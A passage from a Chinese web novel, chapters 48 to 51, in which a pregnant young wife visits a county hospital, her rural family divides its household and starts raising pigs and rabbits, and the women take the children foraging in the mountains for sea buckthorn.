小夫妻俩一起进去的，是一位年长的女大夫坐诊，看着就很慈祥。
白春枝坐下后，简单的问了问她情况。
“估摸着三个月的话，可能还听不出胎心哦？”
得知小夫妻已经在卫生院确认过怀孕，大夫暂时没开尿检的单子，戴上听诊器，先听了白春枝的心跳，再靠近的肚子。
凉凉的小圆饼贴着肚皮，白春枝觉得还挺神奇的，这就能感受到里面的小家伙了吗？
“得四个月后，才听能到了。”
大夫取下听诊器摇了摇头。
“一般四个月来听胎心，六个月来检查一下胎位，有条件的，后面就每个月检查一次，八月半后，半个月来检查，量血压、听心跳、胎心这些。”
大夫的检查还是比较简单了，又问了问是否有心脏病、慢性病、家族遗传病等，就差不多结束了，整个过程不到十五分钟。
最后，尿检也是他们选择做不做了。
“……”
白春枝和萧远山想着来都来了，也就做一个好了，至少知道这孩子大概什么时候出生。
“等结果得两三个小时了，要不我们去百货商场逛逛？”
白春枝状态还挺好了，本来也就是排队等了等，没干什么活儿，一点没觉得累了。
“行，有没有什么想买的？”
萧远山摸着包，今天想着要来医院检查，带的钱还够的，没想到人家那机器一般不轻易给用了。
“没什么。”
有了缝纫机，又忙着小卖店，白春枝感觉她每天的生活确实满满当当的，没觉得还缺什么了，不过想了想，又说道。
“一会儿还是看看面料吧，要有合适的，得给孩子慢慢备上了。”
目前虽说还早，但就只做了一条百家被，确实像是什么都没准备了，白春枝愧疚一下子上来，到了百货商场直奔面料区。
“你等等，我去好了。”
跟着小娘子后头，萧远山见她又忘了自己是双身子，还准备去挤人堆，赶紧将白春枝拦住。
“要什么布，什么花色的？”
“哦哦，瞧我这记性。”
被拉住了，白春枝才回神，差点就冲进去了，拍了拍脑门儿，说道。
“要纯棉的，浅色，花色可以不看，小毛毛穿什么都好看的，一定要的棉的啊！”
“好。”
让白春枝站边上等着，萧远山也不管婆婆大娘们喊得挺起劲儿了，仗着自己手长脚长的，直接从一众头顶开始排队。
这招确实管用，白春枝在一旁看着，人售货员每结完一个，晃眼看到的都是那大高个排在下一个，要不了几个就眼熟了，很快到萧远山了。
“再去看看别的？”
说着，两人又走到了电器柜台。
今天没太多人抢电视，白春枝想着在镇上好久没听广播了，正想着要不要去看看收音机好了，买不起电视、听个响也是好的。
只是一走近，白春枝就被那价格吓倒了，赶得上两三台缝纫机了啊！
48. 分家
“怎么，想买个收音机了？”
“不不不。”
白春枝赶紧把夫君拉走，就怕他误会自己很想要，脑子一热买了，家里再有钱也不是那么花的。
“再等等好了！”
被拉到门口停下来，萧远山才笑着轻轻敲了敲小娘子的脑门。
“什，什么等等啊？”
白春枝摸着额头，被夫君这话，讲得有些莫名奇妙。
“收音机。”
“嗯？”
是刚看的那大几百的铁盒子么，白春枝一下子瞪大了眼，这是有什么门道吗？
“咱们那个房东，我不是一直还有联系么，他也有做电器相关，南边连进口录音机都有，加上如今电器的不断发展，估计要不了多久，收音机就会垮价。”
“就没现在这么贵了？”
白春枝慢半拍的反应了下，大概有点理解了，就跟地里种的菜一个道理，要是大伙儿都种白菜了，那收菜时还真是喊不上价。
歇了买收音机的心思，小夫妻又在其他柜台逛了逛，最后称了点镇上的没有糖，才转去医院拿结果。
等小夫妻俩悠悠哉哉的回村，白家还没开席了。
“诶，还在说你们两个，回来的正是时候。”
白母刚好指挥着两个儿子摆桌子，看到女儿女婿回来就笑道。
“远山，你去李家喊你阿公回来，马上就开饭了。”
萧远山得了令，又转出门，白春枝将糖给白母想去灶房，却没被允许。
“你就别去灶房挤了，去看看新房子。”
新修的砖房，哪怕依旧是平房，瞧着也比老屋敞亮多了。
原来姐妹俩一个房间，就隔在白父白母那屋里头，只有顶头有个小窗，要不是后面按点灯，白天也暗得很。
小弟就更惨了，他那小房间是以前的猪圈，不能养猪后给搭的，他中学住校后，又差不多是变成杂物间，白母堆了不少坛子，等他寒暑假回来又给腾开。
现在是白母白父加姐弟俩搬到新房来，剩下两处老屋刚好老大老二分。
“姐！”
白春芽正在整理床铺，瞥见门口光线一暗，瞧见是姐姐来了，非常惊喜的起身拉人进来。
“你要回来住，咱们还睡一起！”
这张大床还是萧家老院子的，两张大床都是老爷子当初攒的好木头，搬不到镇上去，如今刚好给姐弟俩，把他们的小床换过去也够上山的人歇歇脚了。
白春枝看着房间大大的窗子，透光又透气，亮得让人心情都能好上几分。
“回头扯点布，用缝纫机再踩个窗帘，需要就拉上、不需要就敞开。”
“嗯！”
白春芽开心的点头。
这屋子才收拾好，连桌子都是白父紧赶慢赶打出来的，手艺是没法和张师傅比，但白春芽已经想好怎么布置了，就像是姐姐家那样，窗户要有窗帘，梳妆台上也得垫一张碎花布。
白春枝看那么高兴，也笑了，拉着她坐下，又不由往窗户外看了看，院子里大哥和小弟倒是在忙活，两个嫂子随白母在厨房，想了想又问道。
“妈这样分，家里没闹吧？”
“没呢。”白春芽摇摇头，也姐姐在担心什么，“一点没吵，根本没意见的。”
先前闹起来，那是一点办法没有了，小毛毛们一天天的长大，大哥二哥为孩子考虑也没问题，只是，家里确实扯不开。
如今却是好了，端午跟着姐姐姐夫卖粽子、鸭蛋，挣了钱，又分了田，日子可算是一天天好了，不像是早先时候，一年到头攒不下来钱。
有希望了，心也跟着宽和了些，不再是针尖对麦芒，因着没影的房子分配都能打一架的。
“二哥这不是也去打工了么，第一个月的钱已经寄回来了。”
最近白春芽也跟着在镇上忙，今天还是老妈把汇款单出来，她才知道的。
“妈没要这钱，让嫂子自己拿着，以后再想修房子就得他们自己张罗了。”
“那，这不就是要分家的意思？”
白春枝想着年初，大哥二哥还因为想要分家的事打了一架，这才过去半年呢。
“是啊！”白春芽又偷偷跟姐姐讲，“这事儿，其实在二哥南下前就说了一次，本来想把家里的田啊地啊还有后院的林子也分一分，不过后面没搞成。”
“就是喊我回来那次？”
先前白母是有让妹妹带话，让白春枝空了回去一趟了，结果到家咯也没说什么事，就是一起吃了顿，当是提前给二哥送行了。
“对，二哥要去打工，也得为二嫂考虑了，想着先不分家，爸妈也能帮忙照顾下小毛毛。”
“那大哥他们怎么想的？”
“二哥那份地不是丢给家里种了么，大哥也没意见。”
“……”
白春枝也不知道说自家大哥二哥什么好了，不过这算是村里的现状，分田后，更多分家的。
白母今天请来亲家公，还有老支书和白家的老人，也是这个意思。
白父白母一直以来也不是想要把着钱不分家了，何况本来就没多少家底的，分不出个什么名头来，但按理，老大老二结了婚、有了娃娃，就一个小家庭，可以分了。
那之前不是住不开么！
“现在好了哇，我们原先住的那间和灶房猪圈，分了两份，让两个嫂子抓的阄，昨晚上抓的，今早就喊二嫂给二哥打了电话说。”
“等等，咋还又有猪圈咯？”
白春枝有点被妹妹说糊涂了。
大哥和二哥目前住的两间是家里为他们结婚起的房子，毕竟两个就差两岁，前后脚娶媳妇，就一起修的，大小一样不存在扯经的问题。
主要是老屋，一个不大堂屋，两侧一间是老两口主屋和妹妹的里间，另一边就是灶房和小弟的……
白春枝刚捋顺家里分割，就见妹妹点头了。
“就是小弟那间，大嫂抓到了，大哥今天就想要把推了，又重新修成猪圈，他们不仅想养两条猪，还想要养兔子了。”
“这还是真的——”
白春枝就感觉自己才几天没回来啊，家里就这么多变化了，不过还有一个疑问。
“那家里吃饭呢？”
这边新房，白春枝
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刚看了，是打了灶台的。
“老妈本来想分家就干脆点的，但现在这个情况，把二嫂单拎出来又怕她搞不定小毛毛，就喊他们钱各管各，要一起吃饭就交生活费。”
“这倒也是个办法了。”
萧家上头只有老爷子，不存在这个问题。
白春枝知道村里赡养老人，基本分为两种，如果分家的时候下面还有小的没结婚，老的就跟着老幺，如果都结婚了，不跟老大的话，就老了几家轮着吃饭。
像白父白母这样的年纪，明显是能再干几年活儿，跟着谁都是帮衬，不如各算各的。
何况，小妹没结婚、小弟又好在读书，老两口要继续供的，这样是最好了，大体上分了，也少点矛盾。
“大哥种田，到时候就交粮，二哥就寄钱回来。”
“那也行。”
白春枝点点头，总归不打架闹架就好，分家这事上，老娘子还是很有自己的智慧。
“姐，你看这个！”
说完家里的事，白春芽又偷偷摸摸拿出一个小木盒给姐姐看。
“老妈给我的，说是另一只已经给你了？”
看到那个首饰盒一样的木盒，白春枝大概知道什么了，是白母自己的压箱底，一对金耳环，之前家里日子艰难，倒也不算完全吃不上饭，她就一直留着，就是准备给自己和妹妹的。
“你自己收好。”
白春枝那只她是收着的，也没有重新熔掉打个其他的东西戴。
一是想留个念想，毕竟是老娘子保存多久留给女儿的，二是夫君说，如今外头可不咋安全，被抢了那才可怕，也是村里人不兴把这些戴出来了。
这样想着，白春枝也给妹妹说了，当是提个醒。
白春芽听了却是有另一番想法。
“姐，你说我把我的钱买金子怎么样？”
“买黄金的话，好像也行。”
白春枝知道妹妹还有钱了，毕竟，这个夏天她们可好一阵忙活的，现在没什么想买的东西，买这个比直接钱放家里好，这就让她想到那攒钱被耗子啃了，确实不安全。
“还有就是去信用社存起来，也有利息的。”
“我这点，人家能收？”
“怎么不能了，你可不要小了瞧这几十一百的，再说了，钱不就是慢慢攒出来的么！”
姐妹俩说着存钱的事，小弟在外头喊吃饭了。
这顿开饭晚，老娘子却是大显身手了，从昨晚上就开始准备起了，烧白甜的咸的都有，全用的上好的五花肉，鸡鸭鱼更是一个不少。
“大姑，今天有汽水吗？”
大毛还记得去镇上那顿好吃的还有汽水喝了，看着白春枝就贴上腿来问道。
“……”
这可难为白春枝了，她今天都去县里了，却是一点没想起来要带几瓶汽水回来的。
“去去去！”
白母看着馋嘴的大孙子，倒是一点不客气的赶人了。
“今天这么多好吃的，还不够你们吃啊，喝什么汽水了！”
“大毛二毛，糖水喝不喝，姑姑今天买了不一样的糖……”
49. 砸墙
“惯得他们！”
白母笑骂了一句，也没管这几个小崽子在那边嚎了，一抬头见白家这边没出五服的老人和老支书，还有萧家爷孙都来了，赶忙招呼道。
“来来都坐哈，今天就我们几家简单整点儿。”
“嚯哟，这么丰盛的，亲家真是客气了。”
萧老爷子嘴上说着，自己也挺客气的，萧远山都不知道他什么时候套了两只兔子，装蛇皮口袋放在牛车上，他停车时愣是没发现。
“哎，亲家公真的是，还不空手来，下次不准这么见外了哈。”
“哇哇，是兔子！”
“兔子兔子！”
白母还没伸手，正准备再推说一番，大毛二毛瞧见了也不闹着要汽水了，跑过来将两只灰兔子团团围住。
显然这兔子是今早才套的，两只耳朵被拎着，脚也拴住的，还在奋力挣扎试图奔开往外蹦了。
“哈哈哈哈娃娃些喜欢啊！”
老爷子现在看到小孩儿就乐呵，笑着跟白母讲，这怕是吃不成了，让小毛毛喂着玩儿好了。
“滚滚滚，去喊你们阿公给拿个筐先盖到，看一会儿跑了！”
白母也是气笑了，真是不知道说他们什么好了，挥着收打发掉两个小毛孩儿，领着大伙儿入座。
“来，老太爷坐上位哈！”
白老太爷快九十了，眼神不咋好，声音倒是中气十足，坐下来和萧老爷子聊得正好了，只老支书还记着是有事了，不过白母先将人劝住了。
“先吃饭咯，吃了再说，老太爷、亲家公，今天这些菜都还软和，你们慢吃。”
桌上还有一桶粮食酒，白母让老大给大家倒酒，喊他们先开席，自己往灶房去了。
“嘿，你们还在干啥哦，吃饭了的嘛！”
白母瞧两个儿媳在盛最后一个汤，两个女儿却是又在作妖了。
“……”
白春枝看了老娘一眼，没敢回答了。
不过她近来做冰粉确实还挺有心得体会的，光是拿糖兑的水喝起来没意思，加点水果的话，又是另一种风味了，白春枝现在手上动作没停，就是在把山葡萄一个个捣碎，准备榨葡萄汁。
“妈，大哥他们喝酒，我们那桌也得整个喝的了。”
白春芽绝对是姐姐的第一拥护者，白春枝进灶房找东西时，这山葡萄就是她先拿出来的。
“就你们这个？”
“啊。”
姐妹俩都点头，两个嫂子也在一旁笑。
“我看，你也是还小了。”
山葡萄白母又不是没吃过，一想要费多少糖就心痛，骂了一句转身出去了，眼不见为净。
今天白家乔迁家宴弄了两桌，一桌喝酒的，另一桌不喝酒，小毛孩儿们也上桌了。
“哇，姑姑，这是汽水吗？”
白家两姐妹将紫色的葡萄汁一端出来，大毛二毛立即放下筷子，连在妈妈怀里的小毛也跟着探出半截身子来。
“是果汁了，甜咪咪的哦！”
“小姑，我要我要！”
大毛知道山葡萄是什么味道，小叔摘回来还骗他们吃过，酸得很，这会儿他学聪明了，没先回答，二毛则完全没将这怪稀奇的果汁和山葡萄对上号了，看着新鲜东西他就要想。
“好好好，每个人都有的。”
白春芽说的大方，不过都是小杯了，就是他们那桌喝酒的杯子。
这山葡萄取果汁可是费了一番功夫的。
为了不浪费一滴，两姐妹放碗里捣烂了，拿纱布手挤的，就这，两大串山葡萄才得了半碗，最后又添了糖水。
“咕嘟——”
二毛端起杯子，那是一口就干了，都没砸吧嘴就迅速下桌往两个姑姑跟前凑。
“大姑小姑，我还要。”
“嗨哟，你这速度，够快了。”
白春芽瞧着每个人都有了，才又给二毛倒了一小杯，见小家伙两个小手端起杯子，还垫脚了，忍不住劝道。
“二毛，你慢点啊！”
“嗯！”将第二杯葡萄汁稳稳地运送回来，自己爬上凳子了，二毛点着头回小姑姑的话，“这回我慢慢喝。”
“二毛你这猪八戒偷吃人参果呢，尝到味道没啊？”
白母在后头虚虚扶了一把孙子，见他坐稳了，才拍了拍他，问道。
“尝到啦，甜的！”
二毛这次还真不急了，舔了一口、回味一下，这喝法，看得人想打他。
白春枝在一旁看得好笑，再瞧一旁，有弟弟试过了，大毛才慢悠悠的端起杯子来喝，这也是个小人精，小毛就只有妈妈用筷子给他沾点尝尝味儿了。
一顿饭吃完，白家在老支书和白老太爷、萧老爷子的见证下，将先前说过的条款拿出来，正式的把家给分了。
不过，分家不离家，特别是白二哥又不在，除了老的小的搬了新房，基本上是没什么大变化。
白父白母送老支书和白老太爷回去时，路上还在感慨，这身上的担子算了卸了一半了。
老支书听了，却是不由重重地叹息了下。
白家这是日子看着起来了，都没计较什么，分得顺利，村里也有不少借着分田一起把家分了的，吵啊闹啊，都还算小的，还有分是分了，分了一身账，这以后日子还咋过哦！
“你这儿都退下来了，还焦这些干啥，让他们年轻人自己来，只要勤快就没有饿死的。”
萧老爷子想来看得开，这会儿还劝老支书了。
“哈哈哈是，现在啊，就看你孙儿了。”
老支书想着萧远山包的后山种的那一大片草药，心头也舒坦了点儿。
白家院子的氛围就轻松了许多。
白春芽将老娘炕的瓜子拿了出来，几人就在屋檐下嗑瓜子，拘着三个小毛毛不让出去玩儿，免得一会儿又是一身汗的回来。
“大妹、小妹，你们睡不睡午觉哦，不睡，我要推房子了哟！”
难得白大哥性子不急的，见这帮娘子军坐在院子里龙门阵摆来就没完，不由踱步过来问道。
“这么着急啊？”
白春枝知道他们才抓的阄，大哥这马上就要动工，看来这养猪的决心还挺大的。
“不是想着妹夫在，小弟还没去上课，能搭把手么？”
白大哥看着大妹有些不好意思的挠挠头，他就是想着简单改动一下，自家人搞就行。
“你们砸吧！”
白春枝看几人都不准备午睡，冲自家大哥喊道。
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几个小毛孩儿倒是不用考虑了，睡着了那是打雷都不醒的，何况现在三个整精神了，就想往后院林子里跑。
白大哥憨憨一笑，招着手喊妹夫和小弟开始动工了。
“唉，他这是被刺激了。”
白大嫂见丈夫这傻样，叹了口气，这才跟大伙儿说起原由来。
“什么被刺激了？”
白春枝还以为是分田了，每家每户要做啥自主性大点了，自家大哥有啥新想法、敢尝试，是好事啊。
“这二弟不是寄了工资么……”
“还有我家的事呀？”
白二嫂抱着已经开始昏昏欲睡的小毛哄着，没想到还有自家的情况了。
“二弟出门打工挣钱，工资高，那是辛苦钱了。”
道理，白大嫂都懂，并不是什么酸话，就是讲个事实，说完又继续道。
“我娘家那边，不是在养鸭子么，去年还没那么多，就是几家试着来的，反正靠河放鸭子也方便，今年是翻倍的养，家家户户都挣到了钱。”
“这个肯定嘛！”
白二嫂附和一声。
她本来也没细算这些，先前就想着他们两口子要是没办法就出去打工，但单是端午帮忙泡了些盐蛋，她都分了钱的，还不说她娘家编的篮子了，那养那么多鸭子，简直不敢想哦。
“是啊，我跟你大哥就大概算了下，屋头这些地全部种下来，交完公粮，剩下够吃，但要说能存下来好多钱，就说不准了。”
“……”
确实是这个理了，几人听着都没什么好反驳的。
“我们两口子懂的不多，种田、养猪这些还有一把子力气，就想着多喂点，年底也好有个收成了。”
“怪不得大哥急着要弄猪圈了。”
听这话，知道两人是想清楚了的，白春枝笑着点点头，不过想起妹妹讲什么兔子，又顺便问了。
“那养兔呢？”
“嗐，这是听人家说，兔子不是抱窝快么，一两个月就一窝，我想着反正就打草喂一下，就一起弄好了。”
“那你们还是要注意哦，这喂猪天天要煮食食、养兔要打草的，忙不过来就只弄一个好了。”
大哥大嫂就跟村里大多数人一样，淳朴，或许没有那么大的胆子做什么惊天动地的事，就靠着勤劳的双手养活自己，白春枝作为妹妹，还是忍不住全了劝了劝。
“这个我们晓得，就这下半年了，赶忙先试试，打完谷子粮食也多，好喂猪的。”
白大嫂赶忙应了一声，知道大妹也是关心他们，不觉得是贪心就好，说着，又问白二嫂。
“弟妹，我这儿也就一起问你了，你后头要是没啥安排，要不跟我一起喂兔儿了？”
“我啊？”
白二嫂没多考虑什么就点头了。
她手上就一个不怎么甩得掉的小毛毛，但想着要是年后要跟到一起去打工，是该让孩子适应了下了，再说，谁也嫌钱烫手的。
白春枝两姐妹，瞧着两个嫂嫂有商有量的，也跟着笑了。
“咚！咚！咚！咚！”
“轰隆——”
院子里几人一听这声音，又赶忙去偏房看。
果然，三个人就这么敲了一会儿，墙已经推到了。
50. 兔兔
“嗨呀，你们几个动作也太快了嘛！”
老两口刚踏进院门，就听到“噼里啪啦”砖块掉落的声响，白母记起灶房还没搬完的东西，步子都快了几分。
看到灶台上的锅盖是盖起的，碗柜也拿东西搭着了，白母才松了口气，算他们几个靠谱。
其实白大哥也不是一通乱砸了，小弟那间房已经腾空了，他们砸墙是站灶房这边往里敲的，除了不可避免的有点灰，砖头全掉杂物间的。?
白母原本是想早点把锅碗瓢盆全搬到新房，只是东西太多，杂七杂八的什么都有，还没整理完，反正两兄弟又不准备分开煮了，就没着急，现在看来是不能再等了。
“来来来，正好人多，先把用得上的，一个个都搬过去了。”
白母拍了拍手，扭头招呼几姊妹都来出点力，几三下把弄好了，也不耽误修猪圈。
“幸好中午剩的都放新灶房了。”
白大嫂瞧着灶台再怎么遮也蒙上了灰尘，不由庆幸道。
几人见了也纷纷点头，搬家么，总是要在新屋子开个火的，今早就用新灶台煮了汤圆，中午也是图方便放过去，现在确实省事了。
娘子军们搬着小零碎的东西，三个“砸墙工”加白父则扛了粮米油，还直接是把碗柜整个搬了过去，实木打得柜子可一点不轻的。
一通忙活下来，就差大锅没给起了?。
“诶诶，还是给他们留点儿。?”
用了多少年的老锅肯定是不能取走的，背后的柴火，白母也会挥手让给留着点。?
“后面不是要喂猪煮猪食么，就在这边好了。”
娘子军这边停下手来，三个砸?墙工又进到杂物间，开始规划着猪圈要怎么修了。
“小弟，你看你之前放床的位置，真的就是猪圈大小哦，刚刚合适诶！?”
白春芽跑过来看他大哥还挺专业的，用了白石灰来确定修半截墙的位置，抬手摸着下巴思考了下，那围起来一圈可不就还挺眼熟的么？
“啊，还有你之前堵住的那个老鼠洞，是专门留来冲猪粪的吧?？”
“二姐！”
白小弟本来就是家里最小的那个，家里养猪的时候，他根本没什么记忆，等比较大了分开住，逗他玩儿讲那是原来的猪圈，他也不信。
结果，这会儿被二姐找到了“证据”，可不得好好笑话他了么！
“这边还圈个兔子窝不？”
白春枝察觉到放柴边上的筐有点动静，走进一看发现是老爷子逮的两只兔子。
白父为了三个孙子能方便看兔兔，大筐里铺了稻草做了简易的窝，上面盖上大筛子，刚砸墙都没注意到这俩小东西还在里面了。
“另外一头吧？”
白大哥撒着石灰，但考虑到养猪得注意环境，要时常清洗猪圈，兔子过冬又得保暖免得冻死了，显然这俩放一块儿不合适。
“这个先可以不考虑，我看现在大规模养殖的，是考虑打笼子，方便打理。”
萧远山见着大舅哥站着不动了，提了个意见。
“我们一开始估计还达不到规模养殖，不过是可以先在笼子里喂。”
白大嫂要学着养兔子，还是很愿意听取大伙儿的建议了。
“兔兔！”
“妈，你们要杀兔儿了吗？”
“……”
雷打不醒的大毛二毛被尿被醒，兄弟二人很不讲究的在院子里浇了花，二毛耳尖的听到灶房的大人在谈论兔子，以为要做什么吃的，一下子就冲了进来，大毛倒有点舍不得灰兔，他们今天都还没来得及喂它们了。
“嘿，杀啥子杀哦，你们两个不是要喂的嘛！”
白大嫂点了点头两个毛头，给他们洗了把脸后，就想将人打发去打草，这俩小的也是应该慢慢培养起来了。
“刚好我们一起上山一趟吧？”
白春芽也不跟小弟打闹了，瞧着这猪圈一时半会儿也修不好的，她们不如出去转转。
“好啊，刚好入秋了，看哈能捡些啥子了。”
这秋天来了，山上的东西更多了，白春枝第一个赞同。
“两个小的要去，就把草帽子带起哟！”
小毛还在睡，白母就不去了，在家看孩子，让姑嫂四人自己多注意了。
大毛二毛知道是要给兔子割草，高高兴兴的拎上了自己的小篮子。
这也是白父宠小孩儿，给他们编的，平时俩毛头要是拎出去了，绝对不会空手回来，石头都要装几块的。
白春枝和妹妹也垮着篮子，白大嫂和白二嫂直接被了背篓。
“这才两只兔子，你们要打好多草哟？”
“先割着，明天逢场天，我准备去看看有没有人卖兔崽崽的。”白大嫂也是心里有计划的，不过刚还说笑自家男人心急的修猪圈是被刺激了，她又不好意思的解释了一句，“不然马上打谷子了，就没空了。”
“也是，收谷子打谷子晒谷子，最是累人了，还得抢时间。”
村里住了这么久，家里再是地少，白春枝还是很有体会了，每到这时候，她都得整大肉给夫君补补了，不然收完谷子人都得累瘦。
说起这个，姑嫂几个讲起今年家里日子好点了，油水肯定是要跟上的。
“就是这兔儿只长瘦肉了，要不一二月就长起来，还可以哦！”
“那瘦肉也是肉呀，凉拌兔儿好好吃哟！”
白春枝听妹妹讲起这个，也是有些吞口水了。
凉拌兔绝对是他们这儿的一道大菜了，别看只是冷盘，所需的红油却不少，一般不轻易做，她唯一吃过一次，还是过年的时候，萧远山打了几只肥兔子，白母刚拣的红油辣椒去了小半盆油做出来，至今都很回味的。
姑嫂四人对视一眼，也是想到了那次。
畅快的吃了一回，白母能唠叨大半个月，好在那儿红油最后是一点没敢浪费了，又是拌菜又是拌饭吃了两三天，蹭得盆底光亮才算完。
“现在日子好了，镇上舍得花钱的人也多，大嫂你这兔子喂起来，可以试试做这个呢？”
白春枝如今做事也跟夫君比较像了，走一步看三步，大家只看到别人养殖赚钱，这怎么
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卖出去，其实都应该考虑起来了。
“对啊，大嫂，你看你娘家那边养鸭子，卖活的、卖鸭蛋，跟我们端午卖盐蛋，不是一个价哦！”
白春芽脑子也转得快，姐姐一说，她就反应过来了。
再多做一步，赚的就他们自己的呀！
“……”
白大嫂确实还没想那么多了，只知道这兔子喂大了肯定是有人收的，但没再深入挖掘一下，钱还能翻倍了。
和白二嫂相互看了看，自然是心动的。
她们太清楚这鸭蛋到盐蛋，最后是礼盒，差不多的东西，多花些心思来做，整个档次就不一样了，价钱自然也不同了。
“那，我们过段时间就做！”
白大嫂像是受到鼓舞般，见白二嫂也点头了，才笑着大声答应了。
“说起，兔子的吃法也很多，不过考虑着方便卖的话，肯定还是冷盘的好。”
白春枝之前做茶叶鹌鹑蛋得依靠煤炉子，偶尔做卤味卤点菜都有邻里图便利买的，现在想想凉菜确实是个好选择。
“妈，你要做兔子肉吗？”
二毛对吃的还挺执着了，跟在哥哥后头乱窜的，一听他妈刚那句声音有点大，又屁颠屁颠的跑来，还想着点菜了。
“妈，我也想啃兔头。”
“嗨哟，二毛你牙长齐了没，就想啃兔脑壳了。”
白春芽见二毛这小屁孩儿知道的还挺多了，伸手拍了拍他的小脑袋瓜，笑道。
“啊──”
二毛立即呲牙咧嘴，给大家看他的牙了。
“哎哟喂，还真长了不少呢！”
毛孩子一口整齐的乳牙，小小的一颗，瞧着就可乐。
“哈哈哈哈。”
几个人大人笑过，又问二毛是咋知道还能啃兔头的，家里吃凉拌兔的时候，他哪儿有什么印象了。
二毛说不清，还是大毛过来讲明白的。
俩小孩儿大夏天的跟着大孩子跑田里去捉泥鳅抓螃蟹和虾了，就是那回被忽悠的跟在人家身后拎篮子，最后脚滑栽了跟头摔得一身泥，回来还被打了一顿。
几个大孩子本来在讲抓的泥鳅螃蟹虾要怎么弄来吃了，不知道怎么就聊起了“啃兔头”，还咯咯的笑。
这不就让二毛记在心里了么，总觉得是好东西了。
“……”
白春枝和两个嫂子结了婚的还好，白春芽却是闹了个大红脸。
“啃兔头”在他们这儿还指代小情侣亲昵。
“我倒是觉得，兔头要单独卖的话，也不错。”
大人这边安静了片刻，二毛在亲妈这儿讨不着好，又跟哥哥跑前面去了，白春枝想了想，打破了这略显尴尬的局面。
“兔子，怎么说也是肉了，舍不得花前卖一份凉拌兔的话，单买一个兔头尝尝味儿，应该还是有人愿意的吧？”
“这个确实，凉拌兔，吃得就是兔肉肉质紧实，刚好也懒得将兔肉剁了，就整个半个的卖！”
姑嫂四人，喂兔子的草还没打，就已经将后续怎么卖兔肉兔头事聊得火热了。
51. 沙棘
兔子还挺好喂养的，各种草都吃、连野菜也吃的，?白大嫂和白二嫂两个背篓根本不愁割不满。?
白春枝和妹妹在后头就比较悠闲了，找一找山核桃、野板栗、松子、榛子，大致记下位置，过段时间就能捡了。
“瞧这上面结的，可真多。”
白春芽伸手丈量了下差点包不住的大树，却是惦记着上面的果实了。
“到时候我们多打点来卖！”
“等割完谷子，估计上山的人也多，我们直接在各家收吧？”
白春枝想着这些坚果，其实还能挺能放了，等过年买的人也多，不如趁着这个季节多收点，但只靠她们自己肯定是不够的。
“好啊！”
白春芽对这事也是做熟了。
这样也确实更有精力做其他的。
姐妹俩边往里走边盘算着，还不忘喊大毛二毛跟上了。
“你们俩可别走远了，我们越走越往里，小心走丢了。”
白春枝见两个小毛毛跟放开的大黄狗，进了山就撒欢儿，不得不再提醒道。
“深山可是狼的。”
白春芽还凑过来吓唬了下俩小毛头。
“哦，姑姑，这是什么？”
二毛穿着个棉麻的小马褂，这会儿都一头汗了，根本没管脸上的汗珠，也不知道听没听懂、怕不怕的，只想着他手上的紫叶子来问道。
“紫苏叶。”
“哦。”
得到答案的二毛将叶子放他的小篮子里，像模像样的跟来挖野菜似的，也不知道他摘来干嘛！
大毛儿倒是乖乖的穿了长袖来，钻林子也不怕杂草刺他，跟他那一会儿拍胳膊一会儿抓耳挠腮的弟弟完全不一样。
路过溪边，白春枝招呼着俩毛孩过来，拧帕子给他们擦了脸，让二毛别再往草丛钻了，身上都有印子了。
二毛这孩子，说他听话也不听话。
看到小溪，上山采摘也不感兴趣了，这会儿连他篮子捡的乱七八糟的东西全倒了出来，一脚插水里，又要捞鱼了。
“哎哟，二毛等下身上打湿了，你妈又要打你的！”
白春芽转过来瞧见这一幕，立即叫了起来。
好在溪水很浅，从山上流下来的山泉水，清澈见底，不知道那孩子哪能看到鱼了。
白春枝一直看着的，摇头笑了笑，倒没多阻止二毛，俩孩子穿的她去年给买的塑料凉鞋，这鞋子不像布鞋草鞋怕湿的。
“姐，你也是惯的他。”
白春芽说着姐姐，转头却又问着大毛。
“你要不要去看弟弟有没有捉到小虾米？”
“不要。”
大毛对捉鱼捉虾不感兴趣，之前在田里就光给大孩子拎东西，他们什么也没得到。
“那你别走远了啊！”
见大毛又朝林子里去了，白春芽喊了一声，不过还是不放心，让姐姐看二毛，她跟过去了。
“姑姑，你看！”
二毛在溪里划拉了半天，还真让他在一处到他脚肚子的浅滩里捞到了好东西。
“什么，我看看？”
白春枝走进一瞧，二毛是恨不能把水底沉的泥一起给打捞了，不过确实有收获。
“这螺蛳还挺大呢！”
“嘿嘿！”
被夸了，二毛也不执着根本没影的小虾米，专注找起了螺蛳。
“我要捉一碗，让阿婆给我弄来吃！”
“……”
真的是半点儿离不开吃了。
“啊，姐快过来，这儿有好东西！”
看来大毛他们也有收获了，白春芽的惊喜声，吓得枝头上的鸟儿都飞了。
“二毛，快来，有好吃的哦！”
这一声呼喊，终于是唤动了水里的二毛。
白春枝牵着脚下湿漉漉的二毛，走过去了，才发现俩姑侄都跑下面去了。
“快，这儿有沙棘。”
白春芽已经摘了一串黄灿灿的小果子，朝上面的俩人招手了。
“小姑，这果子能吃吗？”
二毛没见过这个东西，自然没吃过，但那鲜艳的颜色早就吸引了他，白春枝站得近都能看到小家伙在咽口水了。
“当然能呀，这可很难得呢，还可以榨汁哦，就像今天中午你喝的葡萄汁。”
白春芽逗小孩儿呢，留个心眼儿，没说这东西是甜的，口感是酸涩微微带苦的那种。
沙棘在他们这儿，也不是那么常见的的，一般要深山向阳的山坡出才有了，因为听老大夫说这东西吃了好，村里人碰见了肯定要摘些回去了。
“啊，你们等等我——”
二毛听了小姑的话，就特别着急的要下去了。
“诶诶，站住。”
白春枝眼疾手快地拉住了这个冒失的小家伙儿，小脚丫还没干了，她可不想再看二毛摔跟头的场面，那沙棘树可都是刺的。
“就站这儿，小姑和哥哥马上就上来了。”
“姐，你把你的篮子给我，我们多摘点回去。”
白春芽已经把自己的篮子和大毛那个小篮子摘满了，地上还有不少她费了九牛二虎之力折的枝丫，当然要全部带走了。
白春枝把她那个扔了过去，二毛又撒丫子去拿他忘在溪边的小篮子。
“行了，有那么多够我们吃了，你的小篮子等会儿装其他的。”
二毛的小篮子取过来也有样学样的要扔下去了，白春枝给他没收了。
看着空篮子，白春枝仍不住拍了拍二毛的脑袋瓜，这也是猴子掰包谷，掰一个扔一个。
“大毛小心点啊！”
满满当当的两大篮子加一小篮子，大毛走缓坡上来，白春枝和二毛立即过去迎了迎。
“小姑，这洗了可以吃么？”
哥哥才上来，二毛的小爪子已经忍不住摘了一颗下来，橙黄橙黄的小果子，那一点点小，不过被大姑盯着，他敢直接放嘴里，又眼巴巴的问小姑。
“可以呀！”
白春芽答得欢快，一点不觉得骗小孩儿不对。
“啊，好酸，苦，呸呸呸！”
